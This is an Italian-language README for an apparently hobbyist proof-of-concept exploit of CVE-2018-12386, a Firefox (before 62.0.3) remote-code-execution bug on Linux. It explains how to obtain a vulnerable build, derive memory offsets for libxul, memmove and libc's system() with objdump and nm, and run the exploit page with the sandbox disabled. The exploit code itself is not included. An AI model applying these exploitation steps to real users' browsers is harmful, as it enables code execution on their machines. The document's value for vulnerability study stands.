
CVE-2018-12386 - Exploit RCE in sandbox di Firefox per Linux (Firefox <v62.0.3)
Ecco un semplice exploit per la vulnerabilità CVE-2018-12386 trovata da Niklas Baumstark, Samuel Groß e Bruno Keith.
Questo è principalmente un Poc che ho fatto per divertimento, non c'è alcun bypass della sandbox e funzionerà solo su una specifica configurazione Linux in cui gli offset usati dall'exploit sono già noti (possono essere modificati in exploit/offsets.js).
Questo exploit funziona per versioni precedenti a Firefox 62.0.3 e Firefox ESR 60.2.2.
Puoi scaricare le versioni passate di Firefox direttamente dal server FTP di Mozilla: https://ftp.mozilla.org/pub/firefox/releases/
Puoi usare, ad esempio, la versione 62.0.2 per Linux a 64 bit: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soSe stai usando Firefox 62.0.2, gli offset forniti in exploit/offsets.js dovrebbero essere quelli corretti.
Per altre versioni, un modo semplice per farlo è usare la primitiva addrof per divulgare l'indirizzo della funzione JavaScript Math.max, poi trovare l'indirizzo base di libxul.so per l'istanza di Firefox che stai sfruttando (con cat /proc/$(pidof firefox)/maps ad esempio) e sottrarre i due per ottenere l'offset di libxul_math_max.
Se stai usando Firefox 62.0.2, gli offset forniti in exploit/offsets.js dovrebbero essere quelli corretti.
Per altre versioni, un modo semplice per farlo è usare objdump.
[asriel@core firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
5c0b370 è il valore che ti serve, cioè l'offset di memmove in libxul.so.
libc.so.6Questi offset dipendono completamente dalla versione di libc che usi.
# libc.so.6 location
[asriel@core firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/usr/lib/libc.so.6
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep __memmove_avx_unaligned_erms
0000000000160c90 t __memmove_avx_unaligned_erms
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep " system"
0000000000044dd0 W system
Una volta che hai Firefox e gli offset corretti, puoi testare l'exploit lanciando il seguente comando:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

Se vuoi salutare: @Asri3l